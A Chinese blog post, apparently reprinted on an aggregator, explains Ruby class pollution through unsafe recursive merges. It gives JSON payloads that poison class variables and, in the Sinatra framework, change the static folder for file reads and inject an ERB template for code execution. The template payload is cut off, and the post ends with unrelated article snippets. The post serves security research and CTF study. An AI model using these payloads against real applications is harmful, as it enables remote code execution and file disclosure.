浅析Ruby类污染及其在Sinatra框架下的利用

和JavaScript中的原型链污染类似,Ruby中也存在类似的概念——类污染,两者都是对象进行不安全的递归合并导致的。

网上也没有相关的分析文章,只有下面这篇文章应该是第一次谈到这个问题

Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges · Doyensec's Blog

刚打完的长城杯,ezruby一题应该就是基于这篇文章的进一步利用。

Ruby类介绍

在Ruby中也是万物皆对象,下面定义一个Person类

class Person@@cnt = 1# 定义属性attr_accessor :name, :age# 初始化方法def initialize(name, age)@name = name@age = ageend# 定义方法def greet"My name is #{@name} and I am #{@age} years old."end
endperson = Person.new("Alice", 30)
puts person.greet

类变量(类似Java中类的静态变量)使用 @@前缀,实例变量使用@前缀,在类内部才用这种前缀来访问。

冒号前缀表示符号(Symbol)。Ruby中符号是轻量级的、不可变的字符串,通常用于表示标识符、方法名或键。符号的优点是它们在内存中只存储一次,因此在需要频繁比较或使用相同字符串的情况下,使用符号可以提高性能。

Ruby对象的一些特殊的方法:

  • attr_accessor:定义实例变量的getter和setter方法,用于在类外部访问实例变量
  • initialize:类的构造方法
  • to_s:toString方法
  • inspect:和to_s差不多,常用于debug
  • method_missing:类似PHP的__call__方法,当调用一个不存在的方法时会触发
  • respond_to?:检测对象是否有某个方法或属性
  • send:根据方法名来调用(包括私有方法)
  • public_send:根据方法名调用公开方法

Ruby对象的一些特殊的属性(类也算对象)

  • class:当前对象的类
  • superclass:父类
  • subclasses:子类数组
  • instance_variables:实例变量名的数组
  • class_variables:类变量名的数组

当然不止这些,具体就不展开了。

在 Ruby 中,所有类的顶层父类是 BasicObject。BasicObject 是 Ruby 类层次结构中的根类,所有其他类都直接或间接地继承自它。

class MyClass
endputs MyClass.superclass          # Output: Object
puts Object.superclass           # Output: BasicObject
puts BasicObject.superclass      # Output: nil

在实际污染中,用到的就是classsuperclasssubclasses,先从当前对象找到当前类,回溯到父类Object,锁定要污染的变量所在的类,在从父类一层层找子类。

不安全的递归合并

Doyensec的文章中给出下面的merge函数,也介绍了两个实际案例,分别是Ruby on Rails的内置组件ActiveSupport提供的`deep_merge,以及Hashie库提供的deep_merge,感兴趣可以看原文。

def recursive_merge(original, additional, current_obj = original)additional.each do |key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object = Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginal
end

recursive_merge用于递归地合并两个对象originaladditional

  1. 遍历additional对象中的每个键值对。
  2. 处理嵌套的哈希:如果值是一个哈希,它会检查 current_obj(初始为 original)是否响应该键。如果响应,则递归合并嵌套的哈希。如果不响应,则创建一个新对象,将其设置为实例变量,并为其创建访问器。
  3. 处理非哈希值:如果值不是哈希,则直接在 current_obj 上设置该值为实例变量,并为其创建访问器。

下面举个例子

污染当前对象

class Aattr_accessor :xdef initialize(x)@x = xenddef merge_with(additional)recursive_merge(self, additional)enddef checkprotected_methods().each do |method|instance_eval(method.to_s)endend
end

若能污染protected_methods,其返回值就能传入instance_eval进行代码执行。

a = A.new(1)
a.merge_with({"protected_methods": ["`calc`"]})
a.check

当然这种污染的是当前的对象的属性,不影响父类以及其他实例对象。

污染父类

class Base@@cmd = "puts 1"
endclass Cmder < Basedef merge_with(additional)recursive_merge(self, additional)enddef checkeval(Base.cmd)# eval(@@cmd)  污染失败"ok"end
end

对于这种情况,可以污染父类的cmd变量,但这里实际上是给父类Base增加了一个实例变量@cmd,从而通过Base.cmd访问时,实例变量@cmd遮盖了类变量@@cmd

c = Cmder.new
c.merge_with({"class": {"superclass": {"cmd": "`calc`"}}})
c.check
puts Base.class_variables  # @@cmd
puts Base.instance_variables  # @cmd

污染其他类

class Cmder@@cmd = "puts 1"def checkeval(Cmder.cmd)end
endclass Innocentdef merge_with(additional)recursive_merge(self, additional)end
end

能否通过Innocent污染到Cmder呢?

subclasses可以获取到Object的子类,但返回的是数组,可以利用数组的sample方法,随机返回一个元素

通过多次污染,总有几率污染到Cmder这个子类

1000.times doi = Innocent.newi.merge_with({"class": {"superclass": {"subclasses": {"sample": {"cmd": "`calc`"}}}}})
endc = Cmder.new
c.check

Doyensec的文章中提到了污染Personurl变量来进行SSRF,以及污染KeySignersigning_key变量来实现伪造签名数据。但我们追求的是通过类污染来实现RCE。

注意文章中给出的情景,使用的是Sinatra这个web框架,能否污染框架中的关键变量来实现RCE或者文件读取之类的操作呢。

类污染设置静态目录

Sinatra框架中是通过如下配置来设置静态目录的

set :public_folder, File.dirname(__FILE__) + '/static'

跟进set方法可以发现他实际就是给Sinatra::Base设置了一个属性的getter、setter

class_eval给类动态定义方法

因此可以污染public_folder这个属性来修改静态目录

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"public_folder": "E:/Server"}}}}}}

类污染写ERB模板

调试可知Sinatra::Base有个templates属性,类型是哈希,猜测他是存放模板的

Sinatra 默认模板位于./views目录,也支持通过如下语句定义模板

template :index do'%div.title Hello World!'
end

可以看到template方法实际就是给templates这个属性赋值(block是个代码块,需要返回模板内容的字符串)

有如下渲染模板的路由

get('/') doerb :hello
end

ERB (Embedded Ruby) 是 Ruby 标准库自带的,它允许在文本文件中嵌入 Ruby 代码,通常用于生成 HTML 文件,就是一个模板引擎。

可以污染templates属性,覆盖hello模板,通过ERB模板实现RCE

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `ca

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/14940.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SamWaf开源轻量级的网站应用防火墙(安装包),私有化部署,加密本地存储的数据,易于启动,并支持 Linux 和 Windows 64 位和 Arm64

一、SamWaf轻量级开源防火墙介绍 &#xff08;文末提供下载&#xff09; SamWaf网站防火墙是一款适用于小公司、工作室和个人网站的开源轻量级网站防火墙&#xff0c;完全私有化部署&#xff0c;数据加密且仅保存本地&#xff0c;一键启动&#xff0c;支持Linux&#xff0c;Wi…

14vue3实战-----获取用户信息和用户的菜单树信息

14vue3实战-----获取用户信息和用户的菜单树信息 1.获取用户信息1.1封装接口1.2优化 2.获取用户的菜单树信息 1.获取用户信息 1.1封装接口 后端有根据id获取用户信息的接口&#xff0c;前端需要把该接口封装一下: service/login/login.ts&#xff1a; import hyRequest from…

洛谷算法1-3 暴力枚举

目录 1 P2241统计方形 2 三连击 3 选数 4 P1088 [NOIP2004 普及组] 火星人 5 P3799 小 Y 拼木棒 排列组合 6 P2392 kkksc03考前临时抱佛脚 7 P2036 [COCI2008-2009 #2] PERKET 1 P2241统计方形 思路&#xff1a; 本题中&#xff0c;矩阵数量正方形数量长方形数量&#xff0…

CSS Overflow 属性详解:控制内容溢出的利器

在前端开发中&#xff0c;处理内容溢出是一个常见的需求。CSS 提供了 overflow 属性&#xff0c;帮助我们控制当内容超出元素框时的显示方式。本文将详细介绍 overflow 属性的各种取值及其应用场景。 1. 什么是 overflow 属性&#xff1f; overflow 属性用于控制当元素的内容…

链表和 list

一、单链表的模拟实现 1.实现方式 链表的实现方式分为动态实现和静态实现两种。 动态实现是通过 new 申请结点&#xff0c;然后通过 delete 释放结点的形式构造链表。这种实现方式最能体 现链表的特性&#xff1b; 静态实现是利用两个数组配合来模拟链表。一个表示数据域&am…

面向对象程序设计-实验3

题目1 &#xff08;给出题目描述&#xff09;设计一个类CRectangle 代码清单&#xff1a; #include<iostream> using namespace std; class CRectangle { public: CRectangle() { m_l1.0; m_w1.0; } void get() { cin>>m_l; if(m_l>50) { m_l1.0; } cin&g…

2025.1.8(qt图形化界面之消息框)

笔记&#xff08;后期复习补充&#xff09; 作业 1> 手动将登录项目实现&#xff0c;不要使用拖拽编程 并且&#xff0c;当点击登录按钮时&#xff0c;后台会判断账号和密码是否相等&#xff0c;如果相等给出登录成功的提示&#xff0c;并且关闭当前界面&#xff0c;发射一…

windows10 wsa 安卓子系统终结版

windows10 wsa 安卓子系统终结版 链接&#xff1a;https://pan.xunlei.com/s/VOIdoPPmqdUcgw3daFSbh2dAA1?pwdbe3r# windows10 wsa 安卓子系统终结版&#xff0c;包含三个文件. 1: windows10 wsa v2407.40000.4.0 x64 安卓子系统终结版。 2: Apk lnstaller v1.7 用于识别A…

计算机网络应用层:模型、系统与协议全解析!!!

应用层 应用层对应用程序的通信提供服务 应用层协议定义: 应用进程交换的报文类型&#xff0c;请求还是响应? 各种报文类型的语法&#xff0c;如报文中的各个字段及其详细描述&#xff0c; 字段的语义&#xff0c;即包含在字段中的信息的含义。 进程何时、如何发送报文&#x…

【分布式理论8】分布式调用之:四种IO模型

文章目录 一. 四种IO模型1. 同步阻塞 IO&#xff08;Blocking IO&#xff09;2. 同步非阻塞 IO&#xff08;Non-blocking IO&#xff09;3. IO 多路复用&#xff08;IO Multiplexing&#xff09;4. 异步 IO&#xff08;Asynchronous IO&#xff09;在 RPC 中的作用5. 总结 选择…

元宇宙中的隐私与数据保护:Facebook 的挑战与机遇

随着数字技术的飞速发展&#xff0c;元宇宙&#xff08;Metaverse&#xff09;正逐渐成为未来互联网的新舞台。Meta&#xff0c;作为这一领域的先行者&#xff0c;正面临着隐私与数据保护的双重挑战。本文将探讨 Meta 在元宇宙中的隐私与数据保护问题&#xff0c;并分析其可能的…

Word中Ctrl+V粘贴报错问题

Word中CtrlV粘贴时显示“文件未找到&#xff1a;MathPage.WLL”的问题 Word的功能栏中有MathType&#xff0c;但无法使用&#xff0c;显示灰色。 解决方法如下&#xff1a; 首先找到MathType安装目录下MathPage.wll文件以及MathType Commands 2016.dotm文件&#xff0c;分别复…

Stability AI 联合 UIUC 提出单视图 3D 重建方法SPAR3D,可0.7秒完成重建并支持交互式用户编辑。

Stability AI 联合 UIUC 提出一种简单而有效的单视图 3D 重建方法 SPAR3D&#xff0c;这是一款最先进的 3D 重建器&#xff0c;可以从单视图图像重建高质量的 3D 网格。SPAR3D 的重建速度很快&#xff0c;只需 0.7 秒&#xff0c;并支持交互式用户编辑。 相关链接 论文&#xf…

Spring Cloud 04 - 负载均衡和外部服务访问

Ribbon & Feign 文章目录 Ribbon & Feign一&#xff1a;Ribbon负载均衡1&#xff1a;介绍 2&#xff1a;ribbon的五大核心组件二&#xff1a;Feign外部接口访问1&#xff1a;Feign概述2&#xff1a;Feign vs OpenFeign3&#xff1a;使用示例3.1&#xff1a;注解支持3.2…

力扣--链表

相交链表 法一&#xff1a; 把A链表的节点都存HashSet里&#xff0c;遍历B链表找相同的节点 法二&#xff1a; 把A、B指针都移到末尾&#xff0c;再同时往回走&#xff0c;每次往回走都比较 当前节点的下一节点&#xff08;a.next b.next ?)是否相同&#xff0c;当不相同…

antd pro常见代码示例-ProTable

1、protable使用 这是antd Pro 封装的一个table组件&#xff0c;提供了很多好用的方法&#xff0c; proTable地址&#xff1a; protable官网 代码示例&#xff1a; <ProTableactionRef{actionRef}pagination{{ //分页设置defaultPageSize: 10,showQuickJumper: true,sh…

【C++】异常

前言 本篇博客我们来看下C有关异常的处理&#xff0c;了解下异常有关的知识 &#x1f493; 个人主页&#xff1a;小张同学zkf ⏩ 文章专栏&#xff1a;C 若有问题 评论区见&#x1f4dd; &#x1f389;欢迎大家点赞&#x1f44d;收藏⭐文章 ​ 目录 1.异常的概念及使用 1.1异…

操作系统—进程与线程

补充知识 PSW程序状态字寄存器PC程序计数器&#xff1a;存放下一条指令的地址IR指令寄存器&#xff1a;存放当前正在执行的指令通用寄存器&#xff1a;存放其他一些必要信息 进程 进程&#xff1a;进程是进程实体的运行过程&#xff0c;是系统进行资源分配和调度的一个独立单位…

NIO--ByteBuffer组件

文章目录 概述ByteBuffer 正确使用姿势ByteBuffer 结构ByteBuffer 常见方法分配空间向 buffer 写入数据从 buffer 读取数据mark 和 reset字符串与 ByteBuffer 互转Scattering ReadsGathering Writes ⚠️ Buffer 的线程安全 概述 ByteBuffer就是缓冲区&#xff0c;作为channel…

软件工程的熵减:AI如何降低系统复杂度

软件开发的世界&#xff0c;如同一个不断膨胀的宇宙。随着功能的增加和时间的推移&#xff0c;代码库越来越庞大&#xff0c;系统复杂度也随之水涨船高。代码膨胀、维护困难、开发效率低下等问题困扰着无数开发者。这不禁让人联想到物理学中的“熵增”原理——一个孤立系统的熵…